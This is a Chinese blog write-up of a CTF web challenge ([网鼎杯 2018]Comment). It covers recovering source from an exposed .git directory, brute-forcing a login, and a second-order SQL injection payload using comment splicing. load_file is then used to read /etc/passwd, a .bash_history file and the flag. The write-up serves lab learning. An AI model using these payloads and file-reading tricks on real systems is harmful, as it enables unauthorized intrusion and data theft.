CTF Web安全

[网鼎杯 2018]Comment(Git恢复+二次注入)

Posted on 2020-02-11,2 min read

扫目录扫到Git。githack恢复下
我用GitHack只恢复了一个write_do.php但是。里面代码是少了一部分的
这里需要用到https://github.com/wangyihang/githacker这个工具
我用的其他工具恢复出来只有文件。没有.git目录

git log --oneline --decorate
可以看备注
这个工具可以将.git目录也恢复出来
接着。我们手工恢复。

接着分析代码

一个很明显的二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义
分析完代码。去看看漏洞点。需要先登陆。BURP爆破密码。zhangwei666

我们随便留个言

左边是第一次插入。右边是第二次更改
并且。他会将结果输出在字段中。

    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
由于在SQL中。他是换行的。那么我们的#只能注释单行。除了#还有/**/
    $sql = "insert into comment
            set category = '',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
通过content参数。闭合*/注释。将user()的结果放入contents字段中。
insert into comment set category = '',content=user(),/*',content = '*/#',
bo_id = '$bo_id'";

成功返回user()结果

注入了一会发现没结果。转而用load_file读取下/etc/passwd
www用户可以调用bash。

继续读取下www用户的.bash_history

cd /tmp
unzip html.zip
rm -rf html.zip
cp -r html /var/www/
cd /var/www/html
rm -rf .DS_Store

分析下执行的操作。tmp目录下有个html目录没有删。并且有个.DS_Store
继续读取。发现是乱码。

hex编码继续读取

知道了flag_8946e1ff1ee3e40f.php
直接去读

下一篇: [SWPUCTF 2016]Web7(CRLF+SSRF)→